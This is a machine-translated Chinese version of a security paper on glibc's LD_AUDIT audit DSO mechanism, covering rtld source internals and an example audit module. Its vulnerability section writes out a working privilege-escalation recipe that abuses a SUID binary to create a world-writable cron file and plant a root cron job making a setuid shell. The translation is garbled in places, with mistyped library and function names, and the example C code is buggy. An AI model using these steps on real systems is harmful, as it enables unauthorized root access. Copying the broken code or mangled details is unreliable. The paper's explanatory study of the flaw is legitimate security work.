The Audit DSOs of the RTLD
https://www.exploit-db.com/papers/29147/
机器翻译,简单人工润色。在paper中英文大量缺少动词和补充语,机器翻译可能存在不通的地方。
The Audit DSOs of the rtld
x90c
[toc]
—-[ 1. Intro
—-[ 2. The Audit DSOs
——–[ 2.1 The Audit DSO Internal
————[ 2.1.1 The structs of Audit Lists and Interfaces
————[ 2.1.2 Load an audit DSO
————[ 2.1.3 Do Lookup The Interfaces
————[ 2.1.4 Open The Object
——–[ 2.2 audit_dso_example.c: Writing a audit DSO
——–[ 2.3 The vulnerability
—-[ 3. Conclusion
—-[ 4. References
—-[ 5. Greets
-[1]介绍
文章阐述了RTLD的审计DSO的设置和编写DSO的过程,最后分析了审计DSO存在的漏洞。
-[2] 审计DSO
-[2.1 审计DSO的细节
运行进程后由rtld加载的审核DSO(换句话说,它影响了用户领空中的所有进程)。并将审核DSOS模块路径传递到$LD_AUDIT环境。例如:
export $LD_AUDIT=libpcrfilile.so。
首先,看看加载审计DSO的过程。
审核DSO加载过程:
(1)调用函数打开审计DSO。
(2)查找“la_version”符号并调用它。
(3)使用审计接口名查找符号并调用它。
(4)如果接口已绑定,则将 main_map(linkmap object)&dl_rtld_map(linkmap object)->l_audit[cnt].bindflags 的最后bit设置为1。
(5)用.debug动态段设置RTLD调试器。
(6)以LA_ACT_ADD为常数,调用“la_activity”符号函数来打印添加审计接口对象的消息。
*(5),(6)是具有审计DSO的la_activity接口的rtld调试器。
-[2.1.1 审计清单和接口的结构。
审计DSO有两个结构来加载rtld上的安全模块。第一个结构用于审计列表和下一个结构为审计接口。
审计列表结构像共享对象一样维护加载的安全模块,代码在rtld.c的全局变量中定义, rtld源代码中审计接口结构维护每个DSO的接口虚拟函数指针。
audit_list结构将会加载审计DSO名称,作为下一个模块的*name和*next指针的成员变量,它是一个单链表队列。
*audit_list .-----------. .----------. .----------. | old_newp | | old_newp | | newp | | - *name | | *name | | *name | | - *next |--->| *next |--->| *next |---+ '-----------' '----------' '----------' | (first) ^ | | | +---------+ (The Last Entry)
*audit_list 指针指向第一个加载的DSO的条目和最后加载的模块的最后条目。
让我们看一下结构:
elf/rtld.c中的audit_list结构:
/* List of auditing DSOs. */ static struct audit_list { const char *name; struct audit_list *next; } *audit_list;
elf/rtld.c中的process_dl_audit()函数向队列中添加了一个条目。
继续看,审计接口的结构如下:
*audit_ifaces (Interfaces) .---------------. .----------. | old | | new | | - (*activity) | | | | - (*objsearch)| | ... | ... n | - (*objopen) | | | GL(dl_naudit)=n | ... | | | | ... | | | | - *next |-->| *next | '---------------' '----------'
接口是共享对象上的符号,符号的函数指针由rtld加载到 *audit_ifaces 结构上。该结构也是与*audit_list相同的队列,并且这些接口将由rtld调用以加载和操作审核DSO。
每个*audit_ifaces条目都有*audit_list entry条目,即使这些结构没有为每个条目相互链接。
审计接口的计数存储在rtld的全局变量GL(Dl_Naudit)上。
审计接口查找并调用的步骤如下:
(1)查找la_objopen符号。
(2)通过调用audit_ifaces->objopen()函数指针调用符号。
然后,是审计接口:
- la_activity DSO Activity Monitor - la_objsearch Object Search - la_objopen Object Open - la_preinit Pre Initialization - la_symbind32 / la_symbind64 Symbol Binding - la_objclose Object Close
-[2.1.2加载审计DSO。
审计DSO的操作在rtld的主函数dl_main()中进行。rtld调用rtld.c中的dlmopen_doit()来加载审核DSO。
dlmopen_doit()调用_dl_open(),使用审计DSO路径作为第一个参数,将_RTLD_AUDIT标志添加到第二个参数中,就像加载共享对象一样。
The dlmopen_doit() In elf/rtld.c: ... static void dlmopen_doit (void *a) { struct dlmopen_args *args = (struct dlmopen_args *) a; // If dynamic linked, the return value is 0. args->map = _dl_open (args->fname, RTLD_LAZY | __RTLD_DLOPEN | __RTLD_AUDIT, dl_main, LM_ID_NEWLM, _dl_argc, INTUSE(_dl_argv), __environ); }
如果存在AUDIT_LIST变量,则进入load程序,并为参数准备了dlmopen_args结构,调用dlmopen_doit()来加载DSO。
The code of dl_main In elf/rtld.c: static void dl_main (const ElfW(Phdr) *phdr, ElfW(Word) phnum, ElfW(Addr) *user_entry) { ... /* If we have auditing DSOs to load, do it now. */ if (__builtin_expect (audit_list != NULL, 0)) { /* * Iterate over all entries in the list. The order is important. */ struct audit_ifaces *last_audit = NULL; /* audit_list struct */ struct audit_list *al = audit_list->next; do { ... struct dlmopen_args dlmargs; /* Set DSO path for the argument. */ dlmargs.fname = al->name; /* Set the map member variable as NULL. */ dlmargs.map = NULL; const char *objname; const char *err_str = NULL; bool malloced; /* * call dlmopen_doit() to load an audit dso! */ (void) _dl_catch_error (&objname, &err_str, &malloced, dlmopen_doit, &dlmargs);
现在,_dl_open()加载从$LD_AUDIT环境传递的审计DSO。DSO的信息加载到link_map对象的某个地方。
-[2.1.3查找接口。
在加载审计DSO之后,下一步是查找模块的接口。lookup_doit()执行了接口查找的操作。
首先,从ELF对象中查找la_version符号,该进程通过使用查找函数在用户程序领空中运行。然后,检查接口版本的接口是否匹配。
The lookup_doit() In elf/rtld.c: static void lookup_doit (void *a) { struct lookup_args *args = (struct lookup_args *) a; const ElfW(Sym) *ref = NULL; args->result = NULL; lookup_t l = _dl_lookup_symbol_x (args->name, args->map, &ref, args->map->l_local_scope, NULL, 0, DL_LOOKUP_RETURN_NEWEST, NULL); /* Symbol lookup success? */ /* store the symbol object */ /* on args->result. */ if (ref != NULL) args->result = DL_SYMBOL_ADDRESS (l, ref); }
查找la_version符号,这是一个接口!查找_args结构的->name成员变量可以得到查找接口名称。->map会得到NULL。
函数的第四个参数是lookup_doit(),第五个参数是&lookup_args。_dl_catch_error()将调用lookup_doit(),参数为&lookup_args。
The lookup_doit() In elf/rtld.c: struct lookup_args largs; /* argument struct. */ largs.name = "la_version"; /* to lookup Interface name */ largs.map = dlmargs.map; /* largs.map = NULL */ /* argument = largs.name("la_version"). result = largs.result. */ /* Check whether the interface version matches. */ (void) _dl_catch_error (&objname, &err_str, &malloced, lookup_doit, &largs);
在查找完la_version接口之后,将查找的largs.result的地址存储到laversion函数指针,并调用它来检查接口版本是否匹配。
如果匹配,也在下面的块查找其他接口。
The lookup_doit() In elf/rtld.c: unsigned int (*laversion) (unsigned int); unsigned int lav; if (err_str == NULL && (laversion = largs.result) != NULL && (lav = laversion (LAV_CURRENT)) > 0 && lav <= LAV_CURRENT) {
接下来,查找其他接口。
在代码中声明的*newp union 与接口的audit_ifaces结构、回调函数指针的成员,会在下面的代码中查找6个接口,以处理一个链表,该链表的 *next 指针为*audit_list。
la_objearch的接口搜索ELF对象上的符号,la_symbind32或la_symbind64接口绑定来自ELF对象的符号。
所有审计接口都作为elf/tst-auditmod1.c的测试代码嵌入到审计DSO的源代码中。请参见测试代码。la_symbind32 / la_symbind64返回要绑定的符号的相对地址。
The codes In elf/tst-auditmod1.c: ... uintptr_t la_symbind32 (Elf32_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname) { printf ("symbind32: symname=%s, st_value=%#lx, ndx=%u, flags= %un", symname, (long int) sym->st_value, ndx, *flags); return sym->st_value; } uintptr_t la_symbind64 (Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname) { printf ("symbind64: symname=%s, st_value=%#lx, ndx=%u, flags= %un", symname, (long int) sym->st_value, ndx, *flags); return sym->st_value; } ...
See the lookup the other Interfaces!
The lookup_doit() In elf/rtld.c: ----snip----snip----snip----snip----snip----snip----snip----snip---- /* Allocate structure for the callback function pointers. This call can never fail. */ union { struct audit_ifaces ifaces; #define naudit_ifaces 8 void (*fptr[naudit_ifaces]) (void); /* void (*fptr[8])(void); */ } *newp = malloc (sizeof (*newp)); /* Names of the auditing interfaces. All in one long string. */ static const char audit_iface_names[] = "la_activity " "la_objsearch " "la_objopen " "la_preinit " #if __ELF_NATIVE_CLASS == 32 "la_symbind32 " #elif __ELF_NATIVE_CLASS == 64 "la_symbind64 " #else # error "__ELF_NATIVE_CLASS must be defined" #endif #define STRING(s) __STRING (s) "la_" STRING (ARCH_LA_PLTENTER) " " "la_" STRING (ARCH_LA_PLTEXIT) " " "la_objclose "; unsigned int cnt = 0; const char *cp = audit_iface_names; do { largs.name = cp; (void) _dl_catch_error (&objname, &err_str, &malloced, lookup_doit, &largs); /* Store the pointer. */ if (err_str == NULL && largs.result != NULL) { newp->fptr[cnt] = largs.result; /* The dynamic linker link map is statically allocated initialize the data now. */ GL(dl_rtld_map).l_audit[cnt].cookie = (intptr_t) &GL(dl_rtld_map); } else newp->fptr[cnt] = NULL; ++cnt; cp = (char *) rawmemchr (cp, ' ') + 1; } while (*cp != ' '); assert (cnt == naudit_ifaces); /* Now append the new auditing interface to the list. */ newp->ifaces.next = NULL; if (last_audit == NULL) last_audit = GLRO(dl_audit) = &newp->ifaces; else last_audit = last_audit->next = &newp->ifaces; ++GLRO(dl_naudit); /* Mark the DSO as being used for auditing. */ dlmargs.map->l_auditing = 1; } else { /* We cannot use the DSO, it does not have the appropriate interfaces or it expects something more recent. */ #ifndef NDEBUG Lmid_t ns = dlmargs.map->l_ns; #endif _dl_close (dlmargs.map); /* Make sure the namespace has been cleared entirely. */ assert (GL(dl_ns)[ns]._ns_loaded == NULL); assert (GL(dl_ns)[ns]._ns_nloaded == 0); #ifdef USE_TLS GL(dl_tls_max_dtv_idx) = tls_idx; #endif goto not_loaded; } } al = al->next; } while (al != audit_list->next);
审计DSO标记为1,就像使用dlmargs.map的->l_audit成员变量一样,它是在打开DSO的代码中声明的。
dlmargs的.map成员变量在为审核DSO调用dlmopen_doit()之后获取分配的linkmap对象的指针。
换句话说,->l_auditing变量审计DSO的链接映射对象被标记为1,而不是进程的link_map对象。
-[2.1.4-打开对象
最后,为将要被审计DSO的作者实现的DSO的la_OPEN函数打开*afct 的对象,如在elf/tst-auditmod1.c中可以看到的那样。
la_open只是打印一条打开这个对象的消息。对于每个审计DSO,rtld调用la_open 函数。
/* If we have any auditing modules, announce that we already have two objects loaded. */ if (__builtin_expect (GLRO(dl_naudit) > 0, 0)) { struct link_map *ls[2] = { main_map, &GL(dl_rtld_map) }; for (unsigned int outer = 0; outer < 2; ++outer) { struct audit_ifaces *afct = GLRO(dl_audit); for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt) { if (afct->objopen != NULL) { ls[outer]->l_audit[cnt].bindflags = afct->objopen (ls[outer], LM_ID_BASE, &ls[outer]-> l_audit[cnt].cookie); ls[outer]->l_audit_any_plt |= ls[outer]-> l_audit[cnt].bindflags != 0; } afct = afct->next; /* move the next audit Interface */ } } }
如您所知,审核dso可用于自动分析。
在用户界面中的一个监视器,操作系统体系结构中的库层。
让我们写一个审计DSO!
-[2.2编写审计DSO
我通过审计DSO演示了一个用户态监视器。编译自glibc/adj_dso_example.c的rtld源代码树中。
audit_dso_example.c: ---- #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <bits/wordsize.h> #include <gnu/lib-names.h> unsigned int la_version(unsigned int v){ return v; } unsigned int la_objopen(struct link_map *l, Lmid_t lmid, unsigned int *cookie){ FILE *fp; fp = fopen("/tmp/audit_dso_example.log", "w+"); if(fp <= NULL){ printf("failed to open audit dso examplen"); fclose(fp); } /* * The link_map Object passed as first argument! * link_map struct In elf/link.h. * */ fprintf(fp, "-------- audit dso example --------n"); fprintf(fp, "Executed program name: %sn ", l->l_name); fprintf(fp, "Base Addr of the object: %pn", l->l_addr); fprintf(fp, "The addr of .dynamic: nn ", l->l_ld); fprintf(fp, "-----------------------------------n"); /* * Now, Can resolve the ELF sections of the executed * program with l->l_ld. do resolve relocation a symbol! [2]. * */ fclose(fp); return 0; } void la_preinit(unsigned int *cookie){ return; } void la_objclose(unsigned int *cookie){ printf("audit_dso_example: an audit DSO closed."); return 0; }
—- [2.3漏洞
taviso的任意审计DSO加载bug [1]显示了审计DSO的安全漏洞:
(1)LD_AUDIT =“libpcprofile.so”PCPROFILE_OUTPUT =“/ etc / cron.d / exploit”
libpcprofile.so的代码创建一个$ PCPROFILE_ OUTPUT文件。 libpcprofile.so不是一个审计dso,不能加载审计dso作为共享对象加载并且代码共享对象的执行!这是个关于SUID位的安全问题。
(2)执行/bin/ping创建一个/etc/cron.d/exploit世界可写文件。 注意ping SUID位,在即将运行的ping进程之后,rtld加载了审计dso并创建了该文件。
(3)设置一个crontab并等待提升权限。
printf“* * * * * root cp / bin / dash / tmp / exploit; chmod u + s / tmp / exploit n”> /etc/cron.d/exploit。
可以通过审计DSO加载任意共享对象,并在执行进程后执行审计DSO的代码在userland中如果进程将SUID位设置为/bin/ping。
对安全漏洞的讨论是,通过所有进程的任意共享对象加载在用户态执行时间内。共享对象也可以作为用户进行编译和加载,并且无法使用该特权加载它。
See the call path: ---- /bin/ping execute! with SUID bit | +-> rtld: audit DSO load (In the execution time) | +-> rtld: _dlm_opendoit() The shared object load with UID 0. ... ----
—- [3.结论
这篇文章涵盖了审计DSO的内部和编写用户区的安全模块,并解释了加载任意DSO的安全性问题。
审计DSO可用于在用户空间中的自动监视器,示例在audit_dso_example.c中存在。 它可以被实现在ELF解析执行时的监视器。
—- [4.参考文献
[1] Taviso, 2010, Taviso’s GNU C library dynamic linker LD_AUDIT.
arbitrary DSO load Vulnerability.
- http://www.exploit-db.com/exploits/15304
[2] x90c, 2012, ELF_linker.c.
- http://www.x90c.org/ELF32_linker.c
—-[ 5. 致谢
Greets to … #phrack of efnet …
… #social of overthewire …
EOF